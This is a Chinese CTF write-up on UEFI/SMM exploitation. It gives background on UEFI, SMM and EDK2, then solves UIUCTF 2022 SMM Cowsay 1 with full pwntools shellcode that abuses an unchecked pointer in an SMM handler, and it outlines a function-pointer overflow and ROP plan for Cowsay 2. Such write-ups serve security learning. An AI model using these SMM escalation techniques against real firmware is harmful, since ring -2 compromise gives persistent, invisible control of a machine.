基础知识

UEFI即Unified Extensible Firmware Interface(统一可扩展固件接口)是一种个人电脑系统规格,用来定义操作系统与系统固件之间的软件界面,作为BIOS的替代方案

更多可见wikihttps://zh.wikipedia.org/wiki/%E7%B5%B1%E4%B8%80%E5%8F%AF%E5%BB%B6%E4%BC%B8%E9%9F%8C%E9%AB%94%E4%BB%8B%E9%9D%A2

UEFI组成

一般认为,UEFI由以下几个部分组成:

  1. Pre-EFI初始化模块(PEI)
  2. UEFI驱动程序执行环境(DXE)
  3. UEFI驱动程序(UEFI driver)
  4. 兼容性支持模块(CSM)
  5. UEFI高层应用(UEFI Application)
  6. GUID磁盘分区表
  7. 系统管理模式(SMM)

Pre-EFI初始化程序在系统开机的时候最先得到执行,它负责最初的CPU,芯片组及主存的初始化工作,紧接着加载UEFI的驱动程序执行环境(DXE)

当DXE被加载运行时,系统便具有了枚举并加载其他UEFI驱动程序的能力。DXE枚举并加载各种总线(包括PCI、SATA、USB、ISA)及硬件的UEFI驱动程序。例如一个具PCI-E总线接口的RAID存储适配器,其UEFI驱动程序一般会放置在这个设备的Option ROM中。在UEFI规范中,一种突破传统MBR磁盘分区结构限制的GUID磁盘分区系统(GPT)被引入,新结构中,磁盘的主分区数不再受限制(在MBR结构下,只能存在4个主分区),另外UEFI+GPT结合还可以支持2.1 TB以上硬盘。

在众多的分区类型中,EFI系统分区可以被UEFI固件访问,可用于存放操作系统的引导程序。UEFI固件通过执行EFI系统分区中的启动程序启动操作系统]。

CSM是在x86平台UEFI系统中的一个特殊的模块,它将为不具备UEFI引导能力的操作系统以及16位的传统Option ROM提供类似于传统BIOS的系统服务。

在加载操作系统后,UEFI的SMM程序继续执行,提供ACPI等服务

SMM

系统管理模式(System Management mode)(以下简称SMM)是Intel在80386SL之后引入x86体系结构的一种CPU的执行模式。系统管理模式只能通过系统管理中断(System Management Interrupt, SMI)进入,并只能通过执行RSM指令退出。SMM模式对操作系统透明,换句话说,操作系统根本不知道系统何时进入SMM模式,也无法感知SMM模式曾经执行过。为了实现SMM,Intel在其CPU上新增了一个引脚SMI# Pin,当这个引脚上为高电平的时候,CPU会进入该模式。在SMM模式下一切被都屏蔽,包括所有的中断。SMM模式下的执行的程序被称作SMM处理程序,所有的SMM处理程序只能在称作系统管理内存(System Management RAM,SMRAM)的空间内运行。可以通过设置SMBASE的寄存器来设置SMRAM的空间。SMM处理程序只能由系统固件(如BIOS或UEFI)实现。

System Management Mode is documented in Intel SDM, Volume 3C, Chapter 30. It is the operating mode with highest privilege, and sometimes referred to as “ring -2”. This mode has higher privilege than an OS/kernel (ring 0) and even an hypervisor (ring -1). It can only be entered through a System Management Interrupt (SMI), it has a separate address space completely invisible to other operating modes, and full access to all physical memory, MSRs, control registers etc.

SMM有时被称作 ring -2,因为其具有最高级别权限,唯一进入该模式的方式只有SMI(系统管理中断)

处理器执行SMM代码的时候是在一个单独的地址空间(SMRAM)下完成的,并且这段地址空间在其他模式下是绝对不能被访问的

SMI 可以由软件使用 IO 端口 0xB2 触发(outb dx, al),并且此功能可用于实现 SMM 和非 SMM 代码之间的某种受控通信机制。并通过RSM指令退出SMM

UEFI与操作系统的关系

UEFI在概念上类似于一个低阶的操作系统,并且具有操控所有硬件资源的能力。不少人感觉它的不断发展将有可能代替现代的操作系统。事实上,EFI的缔造者们在第一版规范出台时就将EFI的能力限制于不足以威胁操作系统的统治地位。

首先,它只是硬件和预启动软件间的接口规范;其次,UEFI环境下不提供中断的机制,也就是说每个UEFI驱动程序必须用轮询(polling)的方式来检查硬件状态,并且需要以解释的方式运行,较操作系统下的机械码驱动效率更低;再则,UEFI系统不提供复杂的缓存器保护功能,它只具备简单的缓存器管理机制,具体来说就是指运行在x64或x86处理器的长模式或保护模式下,以最大寻址能力为限把缓存器分为一个平坦的段(Segment),所有的程序都有权限访问任何一段位置,并不提供真实的保护服务。

当UEFI所有组件加载完毕时,便会启动操作系统的启动程序,如果UEFI固件内置UEFI Shell,也可以启动UEFI Shell命令提示。UEFI应用程序(UEFI Application)和UEFI驱动程序(UEFI driver)是PE格式的.efi文件,可用C语言编写。在UEFI引导模式下,操作系统的启动程序也是UEFI应用程序,启动程序的EFI文件存储在EFI系统分区(ESP)上。

UEFI固件区分架构,在UEFI引导模式下,通常只能执行特定架构的UEFI操作系统和特定架构的EFI应用程序(EBC程序除外)。比如,采用64位UEFI固件的PC,在UEFI引导模式下只能执行64位操作系统启动程序;而在Legacy引导模式(即BIOS兼容引导模式)下,既可以执行16位的操作系统(如DOS),也可以执行32位操作系统和64位操作系统。

EDK2

tianocore/edk2: EDK II

EDK2(EFI Development Kit II)是一个开源的项目,它提供了一个用于开发 UEFI(统一扩展固件接口)固件的全面工具和框架。

也是事实上的UEFI的实现

我们做的题目都是是基于EDK2,大多数时候给的是OVMF.fd

例题

uictf2022-cowsay1

参考CTFtime.org / UIUCTF 2022 / SMM Cowsay 1 / Writeup

learn interface

摸索

我们收到的文件包含:

  • 构建的挑战二进制文件以及 qemu-system-x86_64 二进制文件和启动脚本提供了在本地运行挑战所需的参数。
  • 挑战赛的源代码是 EDK2(事实上的标准 UEFI 实现)和 QEMU 的一系列补丁,以及用于应用它们并构建所有内容的 Dockerfile
  • 为远程运行的挑战而完成的构建的 EDK2 构建工件(即带有有用调试符号的二进制文件)。

运行挑战时,我们会收到以下消息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
UEFI Interactive Shell v2.2
EDK II
UEFI v2.70 (EDK II, 0x00010000)
Shell> binexec
____________________________________________________________________
/ Welcome to binexec! \
| Type some shellcode in hex and I'll run it! |
| |
| Type the word 'done' on a seperate line and press enter to execute |
\ Type 'exit' on a seperate line and press enter to quit the program /
--------------------------------------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||

Address of SystemTable: 0x00000000069EE018
Address where I'm gonna run your code: 0x000000000517D100

其启动了一个uefishell,事实上大多数uefi的题目使用的都是该开源软件,然后在其上进行一些patch

补丁

EDK2 补丁 0003-SmmCowsay-Vulnerable-Cowsay.patch 实现了一个名为 SmmCowsay.efi 的 UEFI SMM 驱动程序:该驱动程序将在 SMM 中运行,并注册一个要执行的处理程序(通过 SmiHandlerRegister 函数)在 SMM 中,打印文本的方式与owsay Linux 命令非常相似:

1
2
3
4
5
Status = gSmst->SmiHandlerRegister (
SmmCowsayHandler,
&gEfiSmmCowsayCommunicationGuid,
&DispatchHandle
);

当 SMI 发生时,EDK2 注册的 SMI 处理程序会遍历已注册处理程序的链接列表,并选择合适的处理程序来运行。

下一个补丁 0004-Add-UEFI-Binexec.patch 实现了一个名为 Binexec.efi 的普通UEFI驱动程序,它将与我们交互(通过控制台输入/输出)并与 SmmCowsay.efi 驱动程序交互以打印我们在运行挑战时看到上面的问候横幅。

为了与 SmmCowsay.efi 驱动程序进行通信, Binexec.efi 通过 EFI_SMM_COMMUNICATION_PROTOCOL 结构体提供的 ->Communicate() 方法发送一条“消息”:

1
2
3
4
5
mSmmCommunication->Communicate(
mSmmCommunication, // "THIS" pointer
Buffer, // Pointer to message of type EFI_SMM_COMMUNICATE_HEADER
NULL
);

该函数将消息复制到全局变量中并触发软件 SMI 来处理它。该消息包含我们想要通信的SMM处理程序的GUID,进入SMM时在已注册处理程序的链表中搜索该GUID。

Binexec.efi 驱动程序将简单地在循环中运行,要求我们提供一些十六进制形式的代码,将其复制到 RWX 内存区域,然后跳转到其中(使用程序集包装器保存/恢复寄存器)。这意味着我们能够在 UEFI 驱动程序内运行任意代码,该驱动程序以超级用户模式(也称为 Ring 0)运行。

QEMU 补丁实现了一个自定义 MMIO 设备,该设备只需读取主机上的 region4 文件,并创建一个从物理地址 0x44440000 开始、大小为 0x1000 的 MMIO 内存区域。保存该文件的内容。这意味着访问地址 0x44440000 处的物理内存将调用 QEMU 设备读/写操作 ( MemoryRegionOps ),这将决定如何处理内存读/写。

读取操作处理程序 ( uiuctfmmio_region4_read_with_attrs() ) 执行检查,确保读取在传递给函数的 MemTxAttrs 结构中设置了 .secure 标志,这意味着读取由SMM发出。如果不是这种情况,则会返回一个假标志:

1
2
3
4
5
6
7
8
9
static MemTxResult uiuctfmmio_region4_read_with_attrs(
void *opaque, hwaddr addr, uint64_t *val, unsigned size, MemTxAttrs attrs)
{
if (!attrs.secure)
uiuctfmmio_do_read(addr, val, size, nice_try_msg, nice_try_len);
else
uiuctfmmio_do_read(addr, val, size, region4_msg, region4_len);
return MEMTX_OK;
}

EFI System Table

打印给我们的信息,还让我们获得了 SystemTable 的地址以及 shellcode 将复制(和运行)的地址。在 UEFI 规范上花费的时间可能超出了所需的时间,它包含了我们了解其含义所需的所有信息。

SystemTable 是 EFI 系统表,它是一个包含在 UEFI 驱动程序中执行任何操作所需的所有信息的结构。它保存了一堆指向其他结构的指针,这些结构实际上保存了另一堆指向 API 方法、配置变量等的指针。

UEFI uses the EFI System Table, which contains pointers to the runtime and boot services tables. The definition for this table is shown in the following code fragments. Except for the table header, all elements in the service tables are pointers to functions as defined in Services — Boot Services and Services — Runtime Services . Prior to a call to EFI_BOOT_SERVICES.ExitBootServices() , all of the fields of the EFI System Table are valid. After an operating system has taken control of the platform with a call to ExitBootServices() , only the Hdr , FirmwareVendor , FirmwareRevision , RuntimeServices , NumberOfTableEntries , and ConfigurationTable fields are valid.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct {
EFI_TABLE_HEADER Hdr;
CHAR16 *FirmwareVendor;
UINT32 FirmwareRevision;
EFI_HANDLE ConsoleInHandle;
EFI_SIMPLE_TEXT_INPUT_PROTOCOL *ConIn;
EFI_HANDLE ConsoleOutHandle;
EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *ConOut;
EFI_HANDLE StandardErrorHandle;
EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *StdErr;
EFI_RUNTIME_SERVICES *RuntimeServices;
EFI_BOOT_SERVICES *BootServices;
UINTN NumberOfTableEntries;
EFI_CONFIGURATION_TABLE *ConfigurationTable;
} EFI_SYSTEM_TABLE;

我们现在感兴趣的是 EFI 系统表的 BootServices 字段,它保存指向 EFI 引导服务表的指针(参阅EFI System Table — UEFI Specification documentation):另一个表保存一堆针对不同 UEFI API 的有用函数指针。

UEFI uses the EFI Boot Services Table, which contains a table header and pointers to all of the boot services. The definition for this table is shown in the following code fragments. Except for the table header, all elements in the EFI Boot Services Tables are prototypes of function pointers to functions as defined in Services — Boot Services . The function pointers in this table are not valid after the operating system has taken control of the platform with a call to EFI_BOOT_SERVICES.ExitBootServices()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#define EFI_BOOT_SERVICES_SIGNATURE 0x56524553544f4f42
#define EFI_BOOT_SERVICES_REVISION EFI_SPECIFICATION_VERSION

typedef struct {
EFI_TABLE_HEADER Hdr;

//
// Task Priority Services
//
EFI_RAISE_TPL RaiseTPL; // EFI 1.0+
EFI_RESTORE_TPL RestoreTPL; // EFI 1.0+

//
// Memory Services
//
EFI_ALLOCATE_PAGES AllocatePages; // EFI 1.0+
EFI_FREE_PAGES FreePages; // EFI 1.0+
EFI_GET_MEMORY_MAP GetMemoryMap; // EFI 1.0+
EFI_ALLOCATE_POOL AllocatePool; // EFI 1.0+
EFI_FREE_POOL FreePool; // EFI 1.0+

//
// Event & Timer Services
//
EFI_CREATE_EVENT CreateEvent; // EFI 1.0+
EFI_SET_TIMER SetTimer; // EFI 1.0+
EFI_WAIT_FOR_EVENT WaitForEvent; // EFI 1.0+
EFI_SIGNAL_EVENT SignalEvent; // EFI 1.0+
EFI_CLOSE_EVENT CloseEvent; // EFI 1.0+
EFI_CHECK_EVENT CheckEvent; // EFI 1.0+

//
// Protocol Handler Services
//
EFI_INSTALL_PROTOCOL_INTERFACE InstallProtocolInterface; // EFI 1.0+
EFI_REINSTALL_PROTOCOL_INTERFACE ReinstallProtocolInterface; // EFI 1.0+
EFI_UNINSTALL_PROTOCOL_INTERFACE UninstallProtocolInterface; // EFI 1.0+
EFI_HANDLE_PROTOCOL HandleProtocol; // EFI 1.0+
VOID* Reserved; // EFI 1.0+
EFI_REGISTER_PROTOCOL_NOTIFY RegisterProtocolNotify; // EFI 1.0+
EFI_LOCATE_HANDLE LocateHandle; // EFI 1.0+
EFI_LOCATE_DEVICE_PATH LocateDevicePath; // EFI 1.0+
EFI_INSTALL_CONFIGURATION_TABLE InstallConfigurationTable; // EFI 1.0+

//
// Image Services
//
EFI_IMAGE_UNLOAD LoadImage; // EFI 1.0+
EFI_IMAGE_START StartImage; // EFI 1.0+
EFI_EXIT Exit; // EFI 1.0+
EFI_IMAGE_UNLOAD UnloadImage; // EFI 1.0+
EFI_EXIT_BOOT_SERVICES ExitBootServices; // EFI 1.0+

//
// Miscellaneous Services
//
EFI_GET_NEXT_MONOTONIC_COUNT GetNextMonotonicCount; // EFI 1.0+
EFI_STALL Stall; // EFI 1.0+
EFI_SET_WATCHDOG_TIMER SetWatchdogTimer; // EFI 1.0+

//
// DriverSupport Services
//
EFI_CONNECT_CONTROLLER ConnectController; // EFI 1.1
EFI_DISCONNECT_CONTROLLER DisconnectController; // EFI 1.1+

//
// Open and Close Protocol Services
//
EFI_OPEN_PROTOCOL OpenProtocol; // EFI 1.1+
EFI_CLOSE_PROTOCOL CloseProtocol; // EFI 1.1+
EFI_OPEN_PROTOCOL_INFORMATION OpenProtocolInformation;// EFI 1.1+

//
// Library Services
//
EFI_PROTOCOLS_PER_HANDLE ProtocolsPerHandle; // EFI 1.1+
EFI_LOCATE_HANDLE_BUFFER LocateHandleBuffer; // EFI 1.1+
EFI_LOCATE_PROTOCOL LocateProtocol; // EFI 1.1+
EFI_UNINSTALL_MULTIPLE_PROTOCOL_INTERFACES InstallMultipleProtocolInterfaces; // EFI 1.1+
EFI_UNINSTALL_MULTIPLE_PROTOCOL_INTERFACES UninstallMultipleProtocolInterfaces; // EFI 1.1+*

//
// 32-bit CRC Services
//
EFI_CALCULATE_CRC32 CalculateCrc32; // EFI 1.1+

//
// Miscellaneous Services
//
EFI_COPY_MEM CopyMem; // EFI 1.1+
EFI_SET_MEM SetMem; // EFI 1.1+
EFI_CREATE_EVENT_EX CreateEventEx; // UEFI 2.0+
} EFI_BOOT_SERVICES;

尝试

尝试一下执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ pwn asm -c amd64 'mov rax, qword ptr [0x44440000]; mov rbx, qword ptr [0x44440008]'
488b042500004444488b1c2508004444
----- snip -----

488b042500004444488b1c2508004444
done
Running...
RAX: 0x6E7B667463756975 RBX: 0x2179727420656369 RCX: 0x0000000000000000
...
----- snip -----

$ python3
>>> (0x6E7B667463756975).to_bytes(8, "little")
b'uiuctf{n'
>>> (0x2179727420656369).to_bytes(8, "little")
b'ice try!'

QEMU 补丁按预期工作:MMIO 驱动程序发现我们没有从系统管理模式读取内存,并给了我们假标志。即使我们确实可以访问物理内存,我们仍然无法通过在 Binexec.efi 驱动程序中运行代码来读取该标志。我们需要从系统管理模式中读取它。

漏洞点

题目给出了打在uefishell上的patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
+VOID
+Cowsay (
+ IN CONST CHAR16 *Message
+ )
+{
+ EFI_SMM_COMMUNICATE_HEADER *Buffer;
+
+ Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) + sizeof(CHAR16 *));
+ if (!Buffer)
+ return;
+
+ Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid;
+ Buffer->MessageLength = sizeof(CHAR16 *);
+ *(CONST CHAR16 **)&Buffer->Data = Message;
+
+ mSmmCommunication->Communicate(
+ mSmmCommunication,
+ Buffer,
+ NULL
+ );

如上所述,普通 UEFI 驱动程序可以通过此“SmmCommunication”协议与注册了适当处理程序的 SMM UEFI 驱动程序进行通信,并且数据通过指向 EFI_SMM_COMMUNICATE_HEADER 结构的指针传递:

1
2
3
4
5
typedef struct {
EFI_GUID HeaderGuid;
UINTN MessageLength;
UINT8 Data[ANYSIZE_ARRAY];
} EFI_SMM_COMMUNICATE_HEADER;

注意到传递的消息实质上一个指针

*(CONST CHAR16 **)&Buffer->Data = Message;

在这种情况下,发送的消息只是一个指针,它按原样复制到 ->Data 数组成员中。换句话说, Binexec.efi 发送一个指向要通过 mSmmCommunication->Communicate 打印到 SmmCowsay.efi 的字符串的指针。如果我们看一下 SmmCowsay.efi 处理指针,我们可以看到它没有以任何特殊方式处理。它只是按原样传递给打印函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
EFI_STATUS
EFIAPI
SmmCowsayHandler (
IN EFI_HANDLE DispatchHandle,
IN CONST VOID *Context OPTIONAL,
IN OUT VOID *CommBuffer OPTIONAL,
IN OUT UINTN *CommBufferSize OPTIONAL
)
{
DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Enter\n"));

if (!CommBuffer || !CommBufferSize || *CommBufferSize < sizeof(CHAR16 *))
return EFI_SUCCESS;

Cowsay(*(CONST CHAR16 **)CommBuffer); // <== pointer passed *as is* here

DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n"));

return EFI_SUCCESS;
}

这意味着我们可以将任意指针传递给 SmmCowsay 驱动程序,它会很乐意为我们读取给定地址处的内存,并将其显示在控制台上,就像它是一个以 NUL 结尾的 CHAR16EFI_SMM_COMMUNICATE_HEADER ,并通过 mSmmCommunication->Communicate 将其传递给 SMM 驱动程序,我们可以将其获取为我们打印旗帜!

但是我们如何获得这个“SmmCommunication”协议来调用它的 ->Communicate() 方法呢?看一下 Binexec.efi 中的代码, mSmmCommunication 只是将正确的 GUID 传递给 BootServices->LocateProtocol() 获得的指针,如下所示:

1
2
3
4
5
Status = gBS->LocateProtocol(
&gEfiSmmCommunicationProtocolGuid,
NULL,
(VOID **)&mSmmCommunication
);

那么我们现在需要做的就是想办法调用cowsay,并将flag的地址作为参数传送

我们需要得到 SystemTable->BootServices->LocateProtocol 。理论上,由于 EDK2 没有应用 ASLR,所有地址在我们的工作环境(本地和远程)中都是固定的,因此我们可以获取我们需要的任何函数的地址并直接调用

利用

Step 1: get LocateProtocol

LocateProtocol 函数在 BootServices 表 ( gBS ) 中提供,实际上我们在 SystemTable 中有一个指针。我们知道 SystemTable 的地址,因为程序将其打印到控制台了,但实际上因为edk2不支持任何aslr技术,所以哪怕不给,也能够调试获得

我们看LocateProtocol函数,其可以根据给定guid定位到protocol或者服务的地址,并将其存储在r8指向的空间(返回一个指向protocol的指针)

Summary

Returns the first protocol instance that matches the given protocol.

Prototype

1
2
3
4
5
6
7
typedef
EFI_STATUS
(EFIAPI *EFI_LOCATE_PROTOCOL) (
IN EFI_GUID *Protocol,
IN VOID *Registration OPTIONAL,
OUT VOID **Interface
);

Parameters

  • Protocol

    Provides the protocol to search for.

  • Registration

    Optional registration key returned from EFI_BOOT_SERVICES.RegisterProtocolNotify() . If Registration is NULL, then it is ignored.

  • Interface

    On return, a pointer to the first interface that matches Protocol and Registration.

Description

The LocateProtocol() function finds the first device handle that support Protocol, and returns a pointer to the protocol interface from that handle in Interface. If no protocol instances are found, then Interface is set to NULL.

If Interface is NULL, then EFI_INVALID_PARAMETER is returned.

If Protocol is NULL, then EFI_INVALID_PARAMETER is returned.

If Registration is NULL, and there are no handles in the handle database that support Protocol, then EFI_NOT_FOUND is returned.

If Registration is not NULL, and there are no new handles for Registration, then EFI_NOT_FOUND is returned.

Status Codes Returned

EFI_SUCCESS A protocol instance matching Protocol was found and returned in Interface.
EFI_INVALID_PARAMETER Interface is NULL. Protocol is NULL.
EFI_NOT_FOUND No protocol instances were found that match Protocol and Registration.

我们首先通过几个简单的mov获得protocol的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
code = asm(f'''
mov rax, {system_table}
mov rax, qword ptr [rax + 96] /* SystemTable->BootServices */
mov rbx, qword ptr [rax + 64] /* BootServices->AllocatePool */
mov rcx, qword ptr [rax + 320] /* BootServices->LocateProtocol */
''')
conn.sendline(code.hex().encode() + b'\ndone')

conn.recvuntil(b'RBX: 0x')
AllocatePool = int(conn.recvn(16), 16) # useful for later
conn.recvuntil(b'RCX: 0x')
LocateProtocol = int(conn.recvn(16), 16)

log.success('BootServices->AllocatePool @ 0x%x', AllocatePool)
log.success('BootServices->LocateProtocol @ 0x%x', LocateProtocol)

可以看到我们还获取了一个指针BootServices->AllocatePool,这个之后再说

Step 2: get mSmmCommunication

现在为了定位 mSmmCommunication 我们需要将一个指向协议 GUID 的指针传递给 LocateProtocol ,以及一个指向应存储结果指针的位置的指针。我们已经有一个可用的 RWX 内存区域(编写 shellcode 的区域),所以我们使用它。

此外,EDK2 的补丁 0005-PiSmmCpuDxeSmm-Open-up-all-the-page-table-access-res.patch 将页表的所有条目设置为 RWX : )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Taken from EDK2 source code (or opening Binexec.efi in a disassembler)
gEfiSmmCommunicationProtocolGuid = 0x32c3c5ac65db949d4cbd9dc6c68ed8e2

code = asm(f'''
/* LocateProtocol(gEfiSmmCommunicationProtocolGuid, NULL, &protocol) */
lea rcx, qword ptr [rip + guid]
xor rdx, rdx
lea r8, qword ptr [rip + protocol]
mov rax, {LocateProtocol}
call rax

test rax, rax
jnz fail

mov rax, qword ptr [rip + protocol] /* mSmmCommunication */
mov rbx, qword ptr [rax] /* mSmmCommunication->Communicate */
ret

fail:
ud2

guid:
.octa {gEfiSmmCommunicationProtocolGuid}
protocol:
''')
conn.sendline(code.hex().encode() + b'\ndone')

conn.recvuntil(b'RAX: 0x')
mSmmCommunication = int(conn.recvn(16), 16)
conn.recvuntil(b'RBX: 0x')
Communicate = int(conn.recvn(16), 16)

log.success('mSmmCommunication @ 0x%x', mSmmCommunication)
log.success('mSmmCommunication->Communicate @ 0x%x', Communicate)

Step 3: getflag

现在,我们可以为 SmmCowsay 制作一条消息,其中包含指向标志的指针,并让它通过使用正确的参数调用 mSmmCommunication->Communicate 来为我们打印它。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Taken from 0003-SmmCowsay-Vulnerable-Cowsay.patch
gEfiSmmCowsayCommunicationGuid = 0xf79265547535a8b54d102c839a75cf12

code = asm(f'''
/* Communicate(mSmmCommunication, &buffer, NULL) */
mov rcx, {mSmmCommunication}
lea rdx, qword ptr [rip + buffer]
xor r8, r8
mov rax, {Communicate}
call rax

test rax, rax
jnz fail
ret

fail:
ud2

buffer:
.octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */
.quad 8 /* Buffer->MessageLength */
.quad 0x44440000 /* Buffer->Data */
''')
conn.sendline(code.hex().encode() + b'\ndone')

# Check output to see if things work
conn.interactive()

看起来一切都完美了,但实际上这个脚本并不能成功跑通

RAX - 800000000000000F, RCX - 00000000000000B2, RDX - 00000000000000B2

返回值RAX是800000000000000F,通过UEFI的状态码表 Status Codes — UEFI Specification 2.10 documentation,我们可以得知这代表EFI_ACCESS_DENIED

尽管出题人明确添加了 EDK2 补丁以将 SMM 页表 ( 0005-PiSmmCpuDxeSmm-Open-up-all-the-page-table-access-res.patch ) 中的所有内存标记为 RWX,但仍然对 SMM 通信执行健全性检查正如我们在 EDK2 源代码中看到的那样,不允许communicate()函数的第二个参数缓冲区存在于不受信任或无效的内存区域(如我们的 shellcode 中使用的内存区域)

不过当我们查看上面 Binexec.efi 的代码,在 Cowsay() 函数中, EFI_SMM_COMMUNICATE_HEADER 实际上是使用库函数 AllocateRuntimeZeroPool() 分配的。

这个函数同样存在于BootServices,但可以使用 BootServices->AllocatePool()BootServices->AllocatePages() 指定我们要分配的内存“类型”来分配内存。我们想要的 EFI_MEMORY_TYPE 是类型 EfiRuntimeServicesData ,可以从 SMM 访问它。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
EfiRuntimeServicesData = 6

code = asm(f'''
/* AllocatePool(EfiRuntimeServicesData, 0x1000, &buffer) */
mov rcx, {EfiRuntimeServicesData}
mov rdx, 0x1000
lea r8, qword ptr [rip + buffer]
mov rax, {AllocatePool}
call rax

test rax, rax
jnz fail

mov rax, qword ptr [rip + buffer]
ret

fail:
ud2

buffer:
''')
conn.sendline(code.hex().encode() + b'\ndone')

conn.recvuntil(b'RAX: 0x')
buffer = int(conn.recvn(16), 16)
log.success('Allocated buffer @ 0x%x', buffer)

code = asm(f'''
/* Copy data into allocated buffer */
lea rsi, qword ptr [rip + data]
mov rdi, {buffer}
mov rcx, 0x20
cld
rep movsb

/* Communicate(mSmmCommunication, buffer, NULL) */
mov rcx, {mSmmCommunication}
mov rdx, {buffer}
xor r8, r8
mov rax, {Communicate}
call rax

test rax, rax
jnz fail
ret

fail:
ud2

data:
.octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */
.quad 8 /* Buffer->MessageLength */
.quad 0x44440000 /* Buffer->Data */
''')

conn.sendline(code.hex().encode())
conn.sendline(b'done')

最后还有一个问题

IN CONST CHAR16 *Message

cowsay函数中调用的信息是UTF-16的,所以flag之会打印一半

不过将data中的0x44440000加上1即可,然后拼接一下

uictf2022-cowsay2

learn rop

题目信息

这个cowsay总共有三题都做一下

题目描述

1
We asked that engineer to fix the issue, but I think he may have left a backdoor disguised as debugging code.

题目环境与之前基本一样,但 SmmCowsay.efi 驱动程序的代码已更改。此外,我们不再拥有全局 RWX 内存,因为第五个 EDK2 补丁 ( 0005-PiSmmCpuDxeSmm-Protect-flag-addresses.patch ) 现在不会解锁页表条目权限,而是显式地将包含该标志的内存区域设置为读保护!

1
2
3
4
5
SmmSetMemoryAttributes (
0x44440000,
EFI_PAGES_TO_SIZE(1),
EFI_MEMORY_RP//read protect
);

这意味着flag不可读了

提交消息中也给出了提示:

1
2
3
4
5
6
7
From: YiFei Zhu <zhuyifei@google.com>
Date: Mon, 28 Mar 2022 17:55:14 -0700
Subject: [PATCH 5/8] PiSmmCpuDxeSmm: Protect flag addresses

So attacker must disable paging or overwrite page table entries
(which would require disabling write protection in cr0... so, the
latter is redundant to former)

EDK2 SMI 处理程序所做的第一件事是设置 4 级页表并启用 64 位长模式,因此 SMM 代码在带有页表的 64 位模式下运行。

页表中存储的虚拟地址与物理地址1:1对应,因此页表本身仅作为管理不同内存区域权限的一种方式(例如,不包含代码的页的页表项将具有NX 位设置)。标志页( 0x44440000 )被标记为“读保护”,这仅意味着相应的页表条目将清除当前位,因此任何访问都将导致页错误。

之前binexec的cowsay数据使用指针传输

1
2
3
+  Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid;
+ Buffer->MessageLength = MessageLen;
+ CopyMem(Buffer->Data, Message, MessageLen);

但现在直接使用数据传输

漏洞

让我们看看 SmmCowsay.efi 的更新代码。现在通讯情况如何?我们有一个新的 mDebugData 结构:

1
2
3
4
5
6
struct {
CHAR16 Message[200];
VOID EFIAPI (* volatile CowsayFunc)(IN CONST CHAR16 *Message, IN UINTN MessageLen);
BOOLEAN volatile Icebp;
UINT64 volatile Canary;
} mDebugData;

该结构保存一个 ->CowsayFunc 函数指针,该指针在驱动程序初始化时设置:

1
mDebugData.CowsayFunc = Cowsay;

SMM处理程序代码在接收到消息时使用 mDebugData 结构,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
EFI_STATUS
EFIAPI
SmmCowsayHandler (
IN EFI_HANDLE DispatchHandle,
IN CONST VOID *Context OPTIONAL,
IN OUT VOID *CommBuffer OPTIONAL,
IN OUT UINTN *CommBufferSize OPTIONAL
)
{
EFI_STATUS Status;
UINTN TempCommBufferSize;
UINT64 Canary;

DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Enter\n"));

if (!CommBuffer || !CommBufferSize)
return EFI_SUCCESS;

TempCommBufferSize = *CommBufferSize;

// ... irrelevant code ...

Status = SmmCopyMemToSmram(mDebugData.Message, CommBuffer, TempCommBufferSize);
if (EFI_ERROR(Status))
goto out;

// ... irrelevant code ...

SetMem(mDebugData.Message, sizeof(mDebugData.Message), 0);

mDebugData.CowsayFunc(CommBuffer, TempCommBufferSize);

out:
DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n"));

return EFI_SUCCESS;
}

问题就出在:

1
2
3
4
Status = SmmCopyMemToSmram(mDebugData.Message, CommBuffer, TempCommBufferSize);
...
...
mDebugData.CowsayFunc(CommBuffer, TempCommBufferSize);

这里我们有一个类似 memcpy 的函数,使用 ->MessageLengthEFI_SMM_COMMUNICATE_HEADER->Data 字段(作为 CommBuffer 传递)执行复制字段作为大小(作为 CommBufferSize 传递)

那么这里是存在一个溢出的,如果数据大小超过400,那么就会覆盖到CowsayFunc字段

利用

情况看起来很简单:发送 400 字节的垃圾,后跟一个地址,并在系统管理模式内获得 RIP 控制。一旦我们有了 RIP 控制,我们就可以构建一个 ROP 链来完成以下二者中的一个操作

  • (A)完全禁用分页并读取标志
  • (B)关闭 CR0.WP (因为页表是只读的)并修补页面标志的表条目以使其可读。关于cr0寄存器

方法A是作者的解决方案。事实上,SMM GDT 中已经有一个很好的 32 位保护模式段描述符,我们可以将其用于代码段

